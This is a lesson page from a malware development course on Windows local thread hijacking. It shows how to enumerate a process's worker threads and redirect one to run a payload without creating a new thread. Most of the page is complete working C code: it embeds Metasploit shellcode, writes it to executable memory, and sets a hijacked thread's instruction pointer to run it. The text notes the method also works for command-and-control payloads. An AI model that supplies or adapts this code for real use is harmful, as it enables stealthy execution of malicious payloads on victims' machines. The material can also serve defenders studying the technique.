Thread Hijacking - Local Thread Enumeration
Hijacking a local sacrificial thread to execute a payload without thread creation.
Jump to Section (8)
Learning Objectives
0/2 doneIntroduction
So far, when local thread hijacking was performed, the target thread was created using CreateThread
and its context was modified. This module will demonstrate an
alternative method where the system's running threads are enumerated
using CreateToolhelp32Snapshot and then hijacked.
Thread Enumeration
Recall the use of CreateToolhelp32Snapshot from previous
modules, where the WinAPI was used to retrieve a snapshot of the
system's processes. In this module, the same WinAPI is being but with a
different value being used for the dwFlags Parameter. To enumerate the running threads on the system, the TH32CS_SNAPTHREAD flag must be specified. Using this flag, CreateToolhelp32Snapshot returns a THREADENTRY32 structure that's shown below.
typedef struct tagTHREADENTRY32 {
DWORD dwSize; // sizeof(THREADENTRY32)
DWORD cntUsage;
DWORD th32ThreadID; // Thread ID
DWORD th32OwnerProcessID; // The PID of the process that created the thread.
LONG tpBasePri;
LONG tpDeltaPri;
DWORD dwFlags;
} THREADENTRY32;
Each running thread has its own THREADENTRY32 structure in the captured snapshot.
Identifying The Thread's Owner
According to Microsoft's documentation:
To identify the threads that belong to a specific process, compare its process identifier to the th32OwnerProcessID member of the THREADENTRY32 structure when enumerating the threads.
In other words, to determine the process to which the thread belongs, compare the target PID to THREADENTRY32.th32OwnerProcessID,
which is the PID of the process that created the thread. If the PIDs
match, then the thread presently being enumerated belongs to the target
process.
Required WinAPIs
The following WinAPIs will be used to perform thread enumeration.
-
CreateToolhelp32Snapshot - Used with the
TH32CS_SNAPTHREADflag to receive a snapshot of all the threads running on the system. -
Thread32First - Used to get the information about the first thread captured in the snapshot.
-
Thread32Next, Used to get the information about the next thread in the captured snapshot.
-
OpenThread - Used to open a handle to the target thread using its thread ID.
-
GetCurrentProcessId - Used to retrieve the local process's PID. Since the local process is the target process, its PID is required to determine whether the threads belong to this process.
Worker Threads
Before diving into the thread enumeration code, it's important to understand the concept of worker threads. Although CreateThread
is not used in the code, the Windows operating system will create
worker threads in the process. These worker threads are valid targets
for thread hijacking. An example of these worker threads can be seen
below.

The threads that are shown in the image above, such as ntdll.dll!EtwNotificationRegister+0x2d0, are created by the operating system to run the EtwNotificationRegister function, which is related to the ETW - Event Tracing for Windows.
ETW will be explained in future modules but for now, it is sufficient
to understand that this function is used to notify the operating system
when a certain event occurs in the process.
Thread Enumeration Function
GetLocalThreadHandle utilizes the previously mentioned steps to perform thread enumeration. It takes 3 arguments:
-
dwMainThreadId- The thread ID of the main thread of the local process. This is required to avoid targeting the local process's main thread. -
dwThreadId- A pointer to a DWORD that receives a hijackable thread's ID. -
hThread- A pointer to a HANDLE that receives a handle to the hijackable thread.
BOOL GetLocalThreadHandle(IN DWORD dwMainThreadId, OUT DWORD* dwThreadId, OUT HANDLE* hThread) {
// Getting the local process ID
DWORD dwProcessId = GetCurrentProcessId();
HANDLE hSnapShot = NULL;
THREADENTRY32 Thr = {
.dwSize = sizeof(THREADENTRY32)
};
// Takes a snapshot of the currently running processes's threads
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
if (hSnapShot == INVALID_HANDLE_VALUE) {
printf("\n\t[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
// Retrieves information about the first thread encountered in the snapshot.
if (!Thread32First(hSnapShot, &Thr)) {
printf("\n\t[!] Thread32First Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
do {
// If the thread's PID is equal to the PID of the target process then
// this thread is running under the target process
// The 'Thr.th32ThreadID != dwMainThreadId' is to avoid targeting the main thread of our local process
if (Thr.th32OwnerProcessID == dwProcessId && Thr.th32ThreadID != dwMainThreadId) {
// Opening a handle to the thread
*dwThreadId = Thr.th32ThreadID;
*hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, Thr.th32ThreadID);
if (*hThread == NULL)
printf("\n\t[!] OpenThread Failed With Error : %d \n", GetLastError());
break;
}
// While there are threads remaining in the snapshot
} while (Thread32Next(hSnapShot, &Thr));
_EndOfFunction:
if (hSnapShot != NULL)
CloseHandle(hSnapShot);
if (*dwThreadId == NULL || *hThread == NULL)
return FALSE;
return TRUE;
}
Local Thread Hijacking Function
Once a valid handle to the target thread has been obtained, it can be passed to the HijackThread function. The SuspendThread WinAPI will be used to suspend the thread and then GetThreadContext and SetThreadContext will be used to update the RIP
register to point to the payload's base address. Additionally, the
payload must be written to the local process memory before hijacking the
thread.
BOOL HijackThread(HANDLE hThread, PVOID pAddress) {
CONTEXT ThreadCtx = {
.ContextFlags = CONTEXT_ALL
};
SuspendThread(hThread);
if (!GetThreadContext(hThread, &ThreadCtx)) {
printf("\t[!] GetThreadContext Failed With Error : %d \n", GetLastError());
return FALSE;
}
ThreadCtx.Rip = pAddress;
if (!SetThreadContext(hThread, &ThreadCtx)) {
printf("\t[!] SetThreadContext Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("\t[#] Press <Enter> To Run ... ");
getchar();
ResumeThread(hThread);
WaitForSingleObject(hThread, INFINITE);
return TRUE;
}
Demo
Note that the payload execution may take some time as the hijacked thread is not the main thread and does not run continuously.

Additionally, depending on the payload, the local process may crash after execution. For example, if the payload is for a command and control server, the process will continue running, however, if Msfvenom's calc shellcode was used, the process will crash because Msfvenom's calc shellcode terminates the calling thread.

Companion Project & Source Code
4 readable source/config files extracted directly from the archive
// @NUL0x4C | @mrd0x : MalDevAcademy
#include <Windows.h>
#include <stdio.h>
#include <Tlhelp32.h>
// x64 calc metasploit shellcode
unsigned char Payload[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
/*
searches for the local threads of the local process, and return a handle to a worker thread
*/
BOOL GetLocalThreadHandle(IN DWORD dwMainThreadId, OUT DWORD* dwThreadId, OUT HANDLE* hThread) {
// Getting the local process ID
DWORD dwProcessId = GetCurrentProcessId();
HANDLE hSnapShot = NULL;
THREADENTRY32 Thr = {
.dwSize = sizeof(THREADENTRY32)
};
// Takes a snapshot of the currently running processes's threads
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
if (hSnapShot == INVALID_HANDLE_VALUE) {
printf("\n\t[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
// Retrieves information about the first thread encountered in the snapshot.
if (!Thread32First(hSnapShot, &Thr)) {
printf("\n\t[!] Thread32First Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
do {
// If the thread's PID is equal to the PID of the target process then
// this thread is running under the target process
// The 'Thr.th32ThreadID != dwMainThreadId' is to avoid targeting the main thread of our local process
if (Thr.th32OwnerProcessID == dwProcessId && Thr.th32ThreadID != dwMainThreadId) {
// Opening a handle to the thread
*dwThreadId = Thr.th32ThreadID;
*hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, Thr.th32ThreadID);
if (*hThread == NULL)
printf("\n\t[!] OpenThread Failed With Error : %d \n", GetLastError());
break;
}
// While there are threads remaining in the snapshot
} while (Thread32Next(hSnapShot, &Thr));
_EndOfFunction:
if (hSnapShot != NULL)
CloseHandle(hSnapShot);
if (*dwThreadId == NULL || *hThread == NULL)
return FALSE;
return TRUE;
}
BOOL InjectShellcodeToLocalProcess(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) {
DWORD dwOldProtection = NULL;
*ppAddress = VirtualAlloc(NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (*ppAddress == NULL) {
printf("\t[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("\t[i] Allocated Memory At : 0x%p \n", *ppAddress);
printf("\t[#] Press <Enter> To Write Payload ... ");
getchar();
memcpy(*ppAddress, pShellcode, sSizeOfShellcode);
if (!VirtualProtect(*ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("\t[!] VirtualProtect Failed With Error : %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
BOOL HijackThread(IN HANDLE hThread, IN PVOID pAddress) {
CONTEXT ThreadCtx = {
.ContextFlags = CONTEXT_ALL
};
// suspend the thread passed in
SuspendThread(hThread);
if (!GetThreadContext(hThread, &ThreadCtx)) {
printf("\t[!] GetThreadContext Failed With Error : %d \n", GetLastError());
return FALSE;
}
ThreadCtx.Rip = pAddress;
if (!SetThreadContext(hThread, &ThreadCtx)) {
printf("\t[!] SetThreadContext Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("\t[#] Press <Enter> To Run ... ");
getchar();
ResumeThread(hThread);
WaitForSingleObject(hThread, INFINITE);
return TRUE;
}
int main() {
HANDLE hThread = NULL;
DWORD dwMainThreadId = NULL,
dwThreadId = NULL;
PVOID pAddress = NULL;
// getting the main thread id, since we are calling from our main thread, and not from a worker thread
// 'GetCurrentThreadId' will return the main thread ID
dwMainThreadId = GetCurrentThreadId();
printf("[i] Searching For A Thread Under The Local Process ... \n");
if (!GetLocalThreadHandle(dwMainThreadId, &dwThreadId, &hThread)) {
printf("[!] No Thread is Found \n");
return -1;
}
printf("\t[i] Found Target Thread Of Id: %d \n", dwThreadId);
printf("[+] DONE \n\n");
printf("[i] Writing Shellcode To The Local Process ... \n");
if (!InjectShellcodeToLocalProcess(Payload, sizeof(Payload), &pAddress)) {
return -1;
}
printf("[+] DONE \n\n");
printf("[i] Hijacking The Target Thread To Run Our Shellcode ... \n");
if (!HijackThread(hThread, pAddress)) {
return -1;
}
printf("[+] DONE \n\n");
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
Full Archive Manifest (5 files inside .zip)
- LocalThreadEnum/LocalThreadEnum.sln
- LocalThreadEnum/LocalThreadEnum/LocalThreadEnum.vcxproj
- LocalThreadEnum/LocalThreadEnum/LocalThreadEnum.vcxproj.filters
- LocalThreadEnum/LocalThreadEnum/LocalThreadEnum.vcxproj.user
- LocalThreadEnum/LocalThreadEnum/main.c